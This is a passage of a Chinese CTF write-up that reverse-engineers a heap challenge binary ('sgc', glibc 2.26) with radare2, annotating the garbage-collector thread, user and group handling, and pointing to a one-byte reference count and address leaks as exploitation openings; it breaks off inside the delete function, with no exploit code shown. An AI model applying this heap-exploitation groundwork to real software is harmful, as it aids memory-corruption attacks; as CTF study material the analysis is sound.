题目复现

$ file sgc 
sgc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f7ef90bc896e72ba0c3191a2ce6acb732bf3b172, stripped
$ checksec -f sgc
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               4       sgc
$ strings libc-2.26.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2) stable release version 2.26, by Roland McGrath et al.
Compiled by GNU CC version 6.4.0 20171010.

一看 libc-2.26,请参考章节 4.14,tcache 了解一下。然后程序开启了 Canary 和 NX。

0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 1           # 假设两个 user 的 group 相同
Enter group name: A
User:
        Name: a
        Group: A
        Age: 1
User:
        Name: b
        Group: A
        Age: 1
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 3           # 修改 group,输入 y
Enter index: 0
Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): y
Enter new group name: B
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 1           # 两个 user 的 group 都被修改
Enter group name: B
User:
        Name: a
        Group: B
        Age: 1
User:
        Name: b
        Group: B
        Age: 1
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 3           # 修改 group,输入 n
Enter index: 0
Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): n
Enter new group name: A
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 1           # 仅当前 user 的 group 被修改
Enter group name: A
User:
        Name: a
        Group: A
        Age: 1
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 1
Enter group name: B
User:
        Name: b
        Group: B
        Age: 1

玩一下,程序似乎有两个结构分别放置 user 和 group。而且 Edit 功能很有趣,根据选择 y 还是 n 有不同的操作,应该重点看看。

题目解析

GC

main 函数开始会启动一个新的线程,用于垃圾回收,然后才让我们输入菜单的选项。刚开始 r2 并不能识别这个线程函数,用命令 af 给它重新分析一下。函数如下:

[0x00400a60]> af @ 0x0040127e
[0x00400a60]> pdf @ fcn.0040127e 
/ (fcn) fcn.0040127e 157
|   fcn.0040127e (int arg_5fh);
|           ; var int local_18h @ rbp-0x18
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|           ; arg int arg_5fh @ rbp+0x5f
|           ; CALL XREF from 0x0040127e (fcn.0040127e)
|           ; DATA XREF from 0x004014af (main)
|           0x0040127e      push rbp
|           0x0040127f      mov rbp, rsp
|           0x00401282      sub rsp, 0x20
|           0x00401286      mov qword [local_18h], rdi
|           0x0040128a      mov edi, 1
|           0x0040128f      call sym.imp.sleep                         ; int sleep(int s)
|           0x00401294      mov dword [local_4h], 0
|           ; JMP XREF from 0x00401319 (fcn.0040127e)
|       .-> 0x0040129b      mov dword [local_8h], 0                     ; [local_8h] 为循环计数 i,初始化为 0
|      ,==< 0x004012a2      jmp 0x401309
|      |:   ; JMP XREF from 0x0040130d (fcn.0040127e)
|     .---> 0x004012a4      mov eax, dword [local_8h]
|     :|:   0x004012a7      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0 ; 取出 groups[i]
|     :|:   0x004012af      test rax, rax
|    ,====< 0x004012b2      je 0x401301                                 ; groups[i] 为 0 时进行下一次循环
|    |:|:   0x004012b4      mov eax, dword [local_8h]
|    |:|:   0x004012b7      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0
|    |:|:   0x004012bf      movzx eax, byte [rax + 8]                  ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
|    |:|:   0x004012c3      test al, al
|   ,=====< 0x004012c5      jne 0x401304                                ; ref_count 不等于 0 时进行下一次循环
|   ||:|:   0x004012c7      mov eax, dword [local_8h]
|   ||:|:   0x004012ca      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0
|   ||:|:   0x004012d2      mov rax, qword [rax]                        ; 取出 groups[i]->group_name
|   ||:|:   0x004012d5      mov rdi, rax
|   ||:|:   0x004012d8      call sym.imp.free                          ; void free(void *ptr) ; 释放掉 group_name
|   ||:|:   0x004012dd      mov eax, dword [local_8h]
|   ||:|:   0x004012e0      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0 ; 取出 groups[i]
|   ||:|:   0x004012e8      mov rdi, rax
|   ||:|:   0x004012eb      call sym.imp.free                          ; void free(void *ptr) ; 释放掉 groups[i]
|   ||:|:   0x004012f0      mov eax, dword [local_8h]
|   ||:|:   0x004012f3      mov qword [rax*8 + 0x6023e0], 0            ; [0x6023e0:8]=0 ; 将 groups[i] 置 0
|  ,======< 0x004012ff      jmp 0x401305
|  |||:|:   ; JMP XREF from 0x004012b2 (fcn.0040127e)
|  ||`----> 0x00401301      nop
|  ||,====< 0x00401302      jmp 0x401305
|  |||:|:   ; JMP XREF from 0x004012c5 (fcn.0040127e)
|  |`-----> 0x00401304      nop
|  | |:|:   ; JMP XREF from 0x00401302 (fcn.0040127e)
|  | |:|:   ; JMP XREF from 0x004012ff (fcn.0040127e)
|  `-`----> 0x00401305      add dword [local_8h], 1                     ; 计数 + 1
|     :|:   ; JMP XREF from 0x004012a2 (fcn.0040127e)
|     :`--> 0x00401309      cmp dword [local_8h], 0x5f                 ; [0x5f:4]=-1 ; '_' ; 95
|     `===< 0x0040130d      jbe 0x4012a4                                ; 循环继续
|       :   0x0040130f      mov edi, 0
|       :   0x00401314      call sym.imp.sleep                         ; int sleep(int s)
\       `=< 0x00401319      jmp 0x40129b

从这段代码中我们看出一个结构体 group:

struct group {
    char *group_name;       // group 名
    uint8_t ref_count;      // 引用计数
} group;

struct group *groups[0x60];

然后是 0x60 个 group 类型指针构成的数组 groups,其起始地址为 0x6023e0。仔细看的话可以发现,这段代码在取 ref_count 值的时候,只取出了一个字节。所以 ref_count 的类型可以推断地更精细一点,为 uint8_t

该垃圾回收函数会遍历 groups,当 groups[i]->count 为 0 时,表示该 group 没有 user 在使用,于是对 groups[i]->group_name 和 groups[i] 分别进行 free 操作,最后把 groups[i] 设置为 0。

最后需要注意的是垃圾回收的周期,在写 exp 的时候要考虑。

add a user

[0x00400a60]> pdf @ sub.memset_d58
/ (fcn) sub.memset_d58 598
|   sub.memset_d58 ();
|           ; var int local_162h @ rbp-0x162
|           ; var int local_160h @ rbp-0x160
|           ; var int local_15ch @ rbp-0x15c
|           ; var int local_158h @ rbp-0x158
|           ; var int local_150h @ rbp-0x150
|           ; var int local_140h @ rbp-0x140
|           ; var int local_120h @ rbp-0x120
|           ; var int local_18h @ rbp-0x18
|           ; CALL XREF from 0x0040153d (main)
|           0x00400d58      push rbp
|           0x00400d59      mov rbp, rsp
|           0x00400d5c      push rbx
|           0x00400d5d      sub rsp, 0x168
|           0x00400d64      mov rax, qword fs:[0x28]                   ; [0x28:8]=-1 ; '(' ; 40
|           0x00400d6d      mov qword [local_18h], rax
|           0x00400d71      xor eax, eax
|           0x00400d73      lea rax, [local_120h]
|           0x00400d7a      mov edx, 0x100                             ; 256
|           0x00400d7f      mov esi, 0
|           0x00400d84      mov rdi, rax
|           0x00400d87      call sym.imp.memset                        ; memset(local_120h, 0, 0x100),用于存放 name
|           0x00400d8c      lea rax, [local_150h]
|           0x00400d93      mov edx, 8
|           0x00400d98      mov esi, 0
|           0x00400d9d      mov rdi, rax
|           0x00400da0      call sym.imp.memset                        ; memset(local_150h, 0, 8),用于存放 age
|           0x00400da5      lea rax, [local_140h]
|           0x00400dac      mov edx, 0x18                              ; 24
|           0x00400db1      mov esi, 0
|           0x00400db6      mov rdi, rax
|           0x00400db9      call sym.imp.memset                        ; memset(local_140h, 0, 0x18),用于存放 group
|           0x00400dbe      mov edi, str.Please_enter_the_user_s_name: ; 0x401638 ; "Please enter the user's name: "
|           0x00400dc3      mov eax, 0
|           0x00400dc8      call sym.imp.printf                        ; int printf(const char *format)
|           0x00400dcd      lea rax, [local_120h]
|           0x00400dd4      mov esi, 0xc0                              ; 192
|           0x00400dd9      mov rdi, rax
|           0x00400ddc      call sub.read_b56                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00400de1      mov edi, str.Please_enter_the_user_s_group: ; 0x401658 ; "Please enter the user's group: "
|           0x00400de6      mov eax, 0
|           0x00400deb      call sym.imp.printf                        ; int printf(const char *format)
|           0x00400df0      lea rax, [local_140h]
|           0x00400df7      mov esi, 0x18                              ; 24
|           0x00400dfc      mov rdi, rax
|           0x00400dff      call sub.read_b56                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00400e04      mov edi, str.Please_enter_your_age:        ; 0x401678 ; "Please enter your age: "
|           0x00400e09      mov eax, 0
|           0x00400e0e      call sym.imp.printf                        ; int printf(const char *format)
|           0x00400e13      lea rax, [local_150h]
|           0x00400e1a      mov esi, 4
|           0x00400e1f      mov rdi, rax
|           0x00400e22      call sub.read_b56                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00400e27      lea rax, [local_150h]
|           0x00400e2e      mov rdi, rax
|           0x00400e31      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x00400e36      mov dword [local_160h], eax
|           0x00400e3c      lea rax, [local_140h]
|           0x00400e43      mov rdi, rax                                ; 将 group 作为参数
|           0x00400e46      call sub.strcmp_be0                         ; 调用函数 sub.strcmp_be0() 检查对应的 group 是否存在
|           0x00400e4b      mov qword [local_158h], rax                 ; 如果存在,返回值为这个 group,否则为 0
|           0x00400e52      cmp qword [local_158h], 0
|       ,=< 0x00400e5a      jne 0x400e72                                ; 如果返回值不等于 0,跳转
|       |   0x00400e5c      lea rax, [local_140h]
|       |   0x00400e63      mov rdi, rax
|       |   0x00400e66      call fcn.00400cdd                           ; 否则调用函数 fcn.00400cdd() 创建一个 group
|       |   0x00400e6b      mov qword [local_158h], rax                 ; 返回值为新建的 group
|       |   ; JMP XREF from 0x00400e5a (sub.memset_d58)
|       `-> 0x00400e72      mov word [local_162h], 0                    ; 循环计算 i,赋值为 0
|       ,=< 0x00400e7b      jmp 0x400e9b
|       |   ; JMP XREF from 0x00400ea3 (sub.memset_d58)
|      .--> 0x00400e7d      movzx eax, word [local_162h]
|      :|   0x00400e84      cdqe
|      :|   0x00400e86      mov rax, qword [rax*8 + 0x6020e0]          ; [0x6020e0:8]=0 ; 取出 users[i]
|      :|   0x00400e8e      test rax, rax
|     ,===< 0x00400e91      je 0x400ea7                                 ; 如果 users[i] 为 0,跳出循环,即找到第一个空的 user
|     |:|   0x00400e93      add word [local_162h], 1                    ; 否则循环计算 + 1
|     |:|   ; JMP XREF from 0x00400e7b (sub.memset_d58)
|     |:`-> 0x00400e9b      cmp word [local_162h], 0x5f                ; [0x5f:2]=0xffff ; '_' ; 95
|     |`==< 0x00400ea3      jbe 0x400e7d                                ; 继续循环
|     | ,=< 0x00400ea5      jmp 0x400ea8
|     | |   ; JMP XREF from 0x00400e91 (sub.memset_d58)
|     `---> 0x00400ea7      nop
|       |   ; JMP XREF from 0x00400ea5 (sub.memset_d58)
|       `-> 0x00400ea8      cmp word [local_162h], 0x5f                ; [0x5f:2]=0xffff ; '_' ; 95
|       ,=< 0x00400eb0      jbe 0x400ec6
|       |   0x00400eb2      mov edi, str.User_database_full            ; 0x401690 ; "User database full"
|       |   0x00400eb7      call sym.imp.puts                          ; int puts(const char *s)
|       |   0x00400ebc      mov edi, 1
|       |   0x00400ec1      call sym.imp.exit                          ; void exit(int status)
|       |   ; JMP XREF from 0x00400eb0 (sub.memset_d58)
|       `-> 0x00400ec6      movzx ebx, word [local_162h]
|           0x00400ecd      mov edi, 0x18                              ; 24
|           0x00400ed2      call sym.imp.malloc                        ;  malloc(0x18) 创建一个 user 结构体
|           0x00400ed7      mov rdx, rax                                ; 返回值为 user 的地址
|           0x00400eda      movsxd rax, ebx
|           0x00400edd      mov qword [rax*8 + 0x6020e0], rdx          ; [0x6020e0:8]=0 ; 将 user 放入 users,作为 users[i]
|           0x00400ee5      movzx eax, word [local_162h]
|           0x00400eec      cdqe
|           0x00400eee      mov rax, qword [rax*8 + 0x6020e0]          ; [0x6020e0:8]=0 ; 取出 users[i]
|           0x00400ef6      mov rdx, qword [local_158h]
|           0x00400efd      mov rdx, qword [rdx]                        ; 取出 groups[k]->group_name
|           0x00400f00      mov qword [rax + 0x10], rdx                 ; 将 users[i]->group 赋值为 groups[k]->group_name
|           0x00400f04      movzx eax, word [local_162h]
|           0x00400f0b      cdqe
|           0x00400f0d      mov rax, qword [rax*8 + 0x6020e0]          ; [0x6020e0:8]=0
|           0x00400f15      mov edx, dword [local_160h]
|           0x00400f1b      mov byte [rax], dl
|           0x00400f1d      lea rax, [local_120h]                       ; 取出输入的 name
|           0x00400f24      mov rdi, rax
|           0x00400f27      call sym.imp.strlen                        ; size_t strlen(const char *s) ; 获得 name 的长度
|           0x00400f2c      add eax, 1                                  ; 长度 + 1
|           0x00400f2f      mov dword [local_15ch], eax
|           0x00400f35      movzx eax, word [local_162h]
|           0x00400f3c      cdqe
|           0x00400f3e      mov rbx, qword [rax*8 + 0x6020e0]          ; [0x6020e0:8]=0 ; 取出 users[i]
|           0x00400f46      mov eax, dword [local_15ch]
|           0x00400f4c      mov rdi, rax
|           0x00400f4f      call sym.imp.malloc                        ;  void *malloc(size_t size) ; 为 name 分配空间
|           0x00400f54      mov qword [rbx + 8], rax                    ; 将返回地址放入 users[i]->name
|           0x00400f58      mov edx, dword [local_15ch]
|           0x00400f5e      movzx eax, word [local_162h]
|           0x00400f65      cdqe
|           0x00400f67      mov rax, qword [rax*8 + 0x6020e0]          ; [0x6020e0:8]=0
|           0x00400f6f      mov rax, qword [rax + 8]                   ; [0x8:8]=-1 ; 8 ; 取出 users[i]->name
|           0x00400f73      lea rcx, [local_120h]                       ; 取出输入的 name
|           0x00400f7a      mov rsi, rcx
|           0x00400f7d      mov rdi, rax
|           0x00400f80      call sym.imp.memcpy                        ; void *memcpy(void *s1, const void *s2, size_t n) ; 把输入的 name 复制到 users[i]->name 的地方
|           0x00400f85      mov edi, str.User_created                  ; 0x4016a3 ; "User created"
|           0x00400f8a      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400f8f      nop
|           0x00400f90      mov rax, qword [local_18h]
|           0x00400f94      xor rax, qword fs:[0x28]
|       ,=< 0x00400f9d      je 0x400fa4
|       |   0x00400f9f      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00400f9d (sub.memset_d58)
|       `-> 0x00400fa4      add rsp, 0x168
|           0x00400fab      pop rbx
|           0x00400fac      pop rbp
\           0x00400fad      ret

从这个函数中能看出第二个结构体 user:

struct user {
    uint8_t age;
    char *name;
    char *group;
} user;

struct user *users[0x60];

同样的,0x60 个 user 类型指针构成了数组 users,其起始地址为 0x6020e0

我们看到输入的 group 作为参数调用了 sub.strcmp_be0():

[0x00400a60]> pdf @ sub.strcmp_be0
/ (fcn) sub.strcmp_be0 161
|   sub.strcmp_be0 (int arg_5fh);
|           ; var int local_18h @ rbp-0x18
|           ; var int local_2h @ rbp-0x2
|           ; arg int arg_5fh @ rbp+0x5f
|           ; CALL XREF from 0x004013e2 (sub.Enter_index:_31b)
|           ; CALL XREF from 0x00400e46 (sub.memset_d58)
|           0x00400be0      push rbp
|           0x00400be1      mov rbp, rsp
|           0x00400be4      sub rsp, 0x20
|           0x00400be8      mov qword [local_18h], rdi                  ; 将 group 传给 [local_18h]
|           0x00400bec      mov word [local_2h], 0                      ; 循环计数 i,初始化为 0
|       ,=< 0x00400bf2      jmp 0x400c6f
|       |   ; JMP XREF from 0x00400c74 (sub.strcmp_be0)
|      .--> 0x00400bf4      movzx eax, word [local_2h]
|      :|   0x00400bf8      cdqe
|      :|   0x00400bfa      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0 ; 取出 groups[i]
|      :|   0x00400c02      test rax, rax
|     ,===< 0x00400c05      je 0x400c69                                 ; groups[i] 为 0 时进行下一次循环
|     |:|   0x00400c07      movzx eax, word [local_2h]
|     |:|   0x00400c0b      cdqe
|     |:|   0x00400c0d      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0
|     |:|   0x00400c15      mov rdx, qword [rax]                        ; 取出 groups[i]->group_name
|     |:|   0x00400c18      mov rax, qword [local_18h]                  ; 取出 group
|     |:|   0x00400c1c      mov rsi, rdx
|     |:|   0x00400c1f      mov rdi, rax
|     |:|   0x00400c22      call sym.imp.strcmp                        ; int strcmp(const char *s1, const char *s2)
|     |:|   0x00400c27      test eax, eax                               ; 对比 groups[i]->group_name 和 group 是否相同
|    ,====< 0x00400c29      jne 0x400c6a                                ; 如果不同,进行下一次循环
|    ||:|   0x00400c2b      movzx eax, word [local_2h]                  ; 否则继续
|    ||:|   0x00400c2f      cdqe
|    ||:|   0x00400c31      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0
|    ||:|   0x00400c39      movzx eax, byte [rax + 8]                  ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
|    ||:|   0x00400c3d      test al, al
|   ,=====< 0x00400c3f      je 0x400c6a                                 ; 如果 ref_count 为 0,进行下一次循环
|   |||:|   0x00400c41      movzx eax, word [local_2h]                  ; 否则继续
|   |||:|   0x00400c45      cdqe
|   |||:|   0x00400c47      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0
|   |||:|   0x00400c4f      movzx edx, byte [rax + 8]                  ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
|   |||:|   0x00400c53      add edx, 1                                  ; 将 groups[i]->ref_count 加 1
|   |||:|   0x00400c56      mov byte [rax + 8], dl                      ; 将低字节放回 ref_count
|   |||:|   0x00400c59      movzx eax, word [local_2h]
|   |||:|   0x00400c5d      cdqe
|   |||:|   0x00400c5f      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0 ; 取出 groups[i] 作为返回值
|  ,======< 0x00400c67      jmp 0x400c7f
|  |||`---> 0x00400c69      nop
|  ||| :|   ; JMP XREF from 0x00400c29 (sub.strcmp_be0)
|  ||| :|   ; JMP XREF from 0x00400c3f (sub.strcmp_be0)
|  |``----> 0x00400c6a      add word [local_2h], 1                      ; 循环计数 + 1
|  |   :|   ; JMP XREF from 0x00400bf2 (sub.strcmp_be0)
|  |   :`-> 0x00400c6f      cmp word [local_2h], 0x5f                  ; [0x5f:2]=0xffff ; '_' ; 95
|  |   `==< 0x00400c74      jbe 0x400bf4                                ; 继续循环
|  |        0x00400c7a      mov eax, 0                                  ; 将 eax 赋值为 0 作为返回值
|  |        ; JMP XREF from 0x00400c67 (sub.strcmp_be0)
|  `------> 0x00400c7f      leave
\           0x00400c80      ret

所以这个函数的作用是检查 groups 中是否已经存在同名的 group,如果是,那么将该 group 的 ref_count 加 1,并返回这个 group。否则返回 0。

当返回值为 0 的时候,会调用函数 fcn.00400cdd(),参数为 group:

[0x00400a60]> pdf @ fcn.00400cdd
/ (fcn) fcn.00400cdd 123
|   fcn.00400cdd (int arg_5fh);
|           ; var int local_28h @ rbp-0x28
|           ; var int local_12h @ rbp-0x12
|           ; arg int arg_5fh @ rbp+0x5f
|           ; CALL XREF from 0x004013f9 (sub.Enter_index:_31b)
|           ; CALL XREF from 0x00400e66 (sub.memset_d58)
|           0x00400cdd      push rbp
|           0x00400cde      mov rbp, rsp
|           0x00400ce1      push rbx
|           0x00400ce2      sub rsp, 0x28                              ; '('
|           0x00400ce6      mov qword [local_28h], rdi                  ; 将字符串 group 传给 [local_28h]
|           0x00400cea      mov word [local_12h], 0                     ; 循环计数 i,初始化为 0
|       ,=< 0x00400cf0      jmp 0x400d0a
|       |   ; JMP XREF from 0x00400d0f (fcn.00400cdd)
|      .--> 0x00400cf2      movzx eax, word [local_12h]
|      :|   0x00400cf6      cdqe
|      :|   0x00400cf8      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0 ; 取出 groups[i]
|      :|   0x00400d00      test rax, rax
|     ,===< 0x00400d03      je 0x400d13                                 ; 如果 groups[i] 为 0 时,跳出循环,即找到一个空的 group
|     |:|   0x00400d05      add word [local_12h], 1                     ; 循环计数 + 1
|     |:|   ; JMP XREF from 0x00400cf0 (fcn.00400cdd)
|     |:`-> 0x00400d0a      cmp word [local_12h], 0x5f                 ; [0x5f:2]=0xffff ; '_' ; 95
|     |`==< 0x00400d0f      jbe 0x400cf2                                ; 继续循环
|     | ,=< 0x00400d11      jmp 0x400d14
|     | |   ; JMP XREF from 0x00400d03 (fcn.00400cdd)
|     `---> 0x00400d13      nop
|       |   ; JMP XREF from 0x00400d11 (fcn.00400cdd)
|       `-> 0x00400d14      cmp word [local_12h], 0x5f                 ; [0x5f:2]=0xffff ; '_' ; 95
|       ,=< 0x00400d19      jbe 0x400d25
|       |   0x00400d1b      mov edi, 1
|       |   0x00400d20      call sym.imp.exit                          ; void exit(int status)
|       |   ; JMP XREF from 0x00400d19 (fcn.00400cdd)
|       `-> 0x00400d25      movzx ebx, word [local_12h]
|           0x00400d29      mov rax, qword [local_28h]
|           0x00400d2d      mov rdi, rax                                ; 字符串 group 作为参数
|           0x00400d30      call sub.malloc_c81                        ;  sub.malloc_c81 函数创建一个 group 结构体,并将其返回
|           0x00400d35      mov rdx, rax
|           0x00400d38      movsxd rax, ebx
|           0x00400d3b      mov qword [rax*8 + 0x6023e0], rdx          ; [0x6023e0:8]=0 ; 将返回的 group 结构体放进 groups,作为 groups[i]
|           0x00400d43      movzx eax, word [local_12h]
|           0x00400d47      cdqe
|           0x00400d49      mov rax, qword [rax*8 + 0x6023e0]          ; [0x6023e0:8]=0 ; 返回 groups[i]
|           0x00400d51      add rsp, 0x28                              ; '('
|           0x00400d55      pop rbx
|           0x00400d56      pop rbp
\           0x00400d57      ret

该函数在第一个 groups[i] 为 0 的地方创建一个新的 group,将其放入 groups,并返回这个 groups[i]。

总的来说,当添加一个 user 时,首先检查输入的 group 是否存在,如果存在,那么将这个 group->ref_count 加 1,设置 user->group 指向这个 group->group_name,否则新建一个 group,并将新 group->ref_count 设置为 1,同样设置 user->group 指向它。

display

其中 display-a-user 用于打印出指定 index 的 user,即 users[i]。display-a-group 遍历 users,并打印出指定 group 与 users[i]->group 相同的 users[i]。根据经验,这个功能就是为了泄漏 heap 和 libc 地址的。

edit a group

我们比较感兴趣的修改 group 操作:

[0x00400a60]> pdf @ sub.Enter_index:_31b
/ (fcn) sub.Enter_index:_31b 302
|   sub.Enter_index:_31b ();
|           ; var int local_54h @ rbp-0x54
|           ; var int local_50h @ rbp-0x50
|           ; var int local_48h @ rbp-0x48
|           ; var int local_40h @ rbp-0x40
|           ; var int local_30h @ rbp-0x30
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00401573 (main)
|           0x0040131b      push rbp
|           0x0040131c      mov rbp, rsp
|           0x0040131f      sub rsp, 0x60                              ; '`'
|           0x00401323      mov rax, qword fs:[0x28]                   ; [0x28:8]=-1 ; '(' ; 40
|           0x0040132c      mov qword [local_8h], rax
|           0x00401330      xor eax, eax
|           0x00401332      mov edi, str.Enter_index:                  ; 0x4016d5 ; "Enter index: "
|           0x00401337      mov eax, 0
|           0x0040133c      call sym.imp.printf                        ; int printf(const char *format)
|           0x00401341      lea rax, [local_40h]
|           0x00401345      mov esi, 4
|           0x0040134a      mov rdi, rax
|           0x0040134d      call sub.read_b56                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00401352      lea rax, [local_40h]
|           0x00401356      mov rdi, rax
|           0x00401359      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x0040135e      mov dword [local_54h], eax
|           0x00401361      mov eax, dword [local_54h]                  ; eax 为索引 i
|           0x00401364      mov rax, qword [rax*8 + 0x6020e0]          ; [0x6020e0:8]=0 ; 取出 users[i]
|           0x0040136c      test rax, rax
|       ,=< 0x0040136f      je 0x401432                                 ; 如果 users[i] 不存在,函数结束
|       |   0x00401375      mov edi, str.Would_you_like_to_propagate_the_change__this_will_update_the_group_of_all_the_users_sharing_this_group_y_n_: ; 0x401718 ; "Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): "
|       |   0x0040137a      mov eax, 0
|       |   0x0040137f      call sym.imp.printf                        ; int printf(const char *format)
|       |   0x00401384      lea rax, [local_40h]
|       |   0x00401388      mov esi, 2
|       |   0x0040138d      mov rdi, rax
|       |   0x00401390      call sub.read_b56                          ; 读取字符 "y" 或者 "n"
|       |   0x00401395      mov edi, str.Enter_new_group_name:         ; 0x401786 ; "Enter new group name: "
|       |   0x0040139a      mov eax, 0
|       |   0x0040139f      call sym.imp.printf                        ; int printf(const char *format)
|       |   0x004013a4      movzx eax, byte [local_40h]
|       |   0x004013a8      cmp al, 0x79                               ; 'y' ; 121
|      ,==< 0x004013aa      jne 0x4013ca
|      ||   0x004013ac      mov eax, dword [local_54h]                  ; 当输入 "y" 时
|      ||   0x004013af      mov rax, qword [rax*8 + 0x6020e0]          ; [0x6020e0:8]=0
|      ||   0x004013b7      mov rax, qword [rax + 0x10]                ; [0x10:8]=-1 ; 16 ; 取出 users[i]->group
|      ||   0x004013bb      mov esi, 0x18                              ; 24
|      ||   0x004013c0      mov rdi, rax
|      ||   0x004013c3      call sub.read_b56                          ; 将 group 逐字节写入 users[i]->group,函数结束
|     ,===< 0x004013c8      jmp 0x401433
|     |||   ; JMP XREF from 0x004013aa (sub.Enter_index:_31b)
|     |`--> 0x004013ca      lea rax, [local_30h]                        ; 当输入 "n" 时
|     | |   0x004013ce      mov esi, 0x18                              ; 24
|     | |   0x004013d3      mov rdi, rax
|     | |   0x004013d6      call sub.read_b56                          ; 读入 group 到 local_30h
|     | |   0x004013db      lea rax, [local_30h]
|     | |   0x004013df      mov rdi, rax
|     | |   0x004013e2      call sub.strcmp_be0                        ; 如果 groups 中存在同名 group,将该 group 的 ref_count 加 1,并返回。否则返回 0
|     | |   0x004013e7      mov qword [local_50h], rax
|     | |   0x004013eb      cmp qword [local_50h], 0
|     |,==< 0x004013f0      jne 0x40141a
|     |||   0x004013f2      lea rax, [local_30h]                        ; 当返回值是 0 时
|     |||   0x004013f6      mov rdi, rax
|     |||   0x004013f9      call fcn.00400cdd                           ; 将 group 放入第一个 groups[k] 为 0 的地方,并返回这个 groups[k]
|     |||   0x004013fe      mov qword [local_48h], rax
|     |||   0x00401402      mov eax, dword [local_54h]
|     |||   0x00401405      mov rax, qword [rax*8 + 0x6020e0]          ; [0x6020e0:8]=0 ; 取出 users[i]
|     |||   0x0040140d      mov rdx, qword [local_48h]
|     |||   0x00401411      mov rdx, qword [rdx]                        ; 取出 groups[k]->group_name
|     |||   0x00401414      mov qword [rax + 0x10], rdx                 ; 将 users[i]->group 赋值为 groups[k]->group_name
|    ,====< 0x00401418      jmp 0x401433
|    ||||   ; JMP XREF from 0x004013f0 (sub.Enter_index:_31b)
|    ||`--> 0x0040141a      mov eax, dword [local_54h]                  ; 当返回值不是 0 时
|    || |   0x0040141d      mov rax, qword [rax*8 + 0x6020e0]          ; [0x6020e0:8]=0 ; 取出 users[i]
|    || |   0x00401425      mov rdx, qword [local_50h]
|    || |   0x00401429      mov rdx, qword [rdx]                        ; 取出 groups[k]->group_name
|    || |   0x0040142c      mov qword [rax + 0x10], rdx                 ; 将 users[i]->group 赋值为 groups[k]->group_name
|    ||,==< 0x00401430      jmp 0x401433
|    ||||   ; JMP XREF from 0x0040136f (sub.Enter_index:_31b)
|    |||`-> 0x00401432      nop
|    |||    ; JMP XREF from 0x00401430 (sub.Enter_index:_31b)
|    |||    ; JMP XREF from 0x00401418 (sub.Enter_index:_31b)
|    |||    ; JMP XREF from 0x004013c8 (sub.Enter_index:_31b)
|    ```--> 0x00401433      mov rax, qword [local_8h]
|           0x00401437      xor rax, qword fs:[0x28]
|       ,=< 0x00401440      je 0x401447
|       |   0x00401442      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00401440 (sub.Enter_index:_31b)
|       `-> 0x00401447      leave
\           0x00401448      ret

该函数有两种操作:

delete a user

最后是删除 user 的操作:

[0x00400a60]> pdf @ sub.Enter_index:_1c4
/ (fcn) sub.Enter_index:_1c4 186
|   sub.Enter_index:_1c4 ();
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00401585 (main)
|           0x004011c4      push rbp
|           0x004011c5      mov rbp, rsp
|           0x004011c8      sub rsp, 0x20
|           0x004011cc      mov rax, qword fs:[0x28]                   ; [0x28:8]=-1 ; '(' ; 40
|           0x004011d5      mov qword [local_8h], rax
|           0x004011d9      xor eax, eax
|           0x004011db      mov edi, str.Enter_index:                  ; 0x4016d5 ; "Enter index: "
|           0x004011e0      mov eax, 0
|           0x004011e5      call sym.imp.printf                        ; int printf(const char *format)
|           0x004011ea      lea rax, [local_10h]
|           0x004011ee      mov esi, 4
|           0x004011f3      mov rdi, rax
|           0x004011f6      call sub.read_b56                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x004011fb      lea rax, [local_10h]
|           0x004011ff      mov rdi, rax
|           0x00401202      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x00401207      mov dword [local_14h], eax
|           0x0040120a      cmp dword [local_14h], 0x5f                ; [0x5f:4]=-1 ; '_' ; 95
|       ,=< 0x0040120e      jbe 0x40121c                                ; 检查索引 i 是否超出最大值
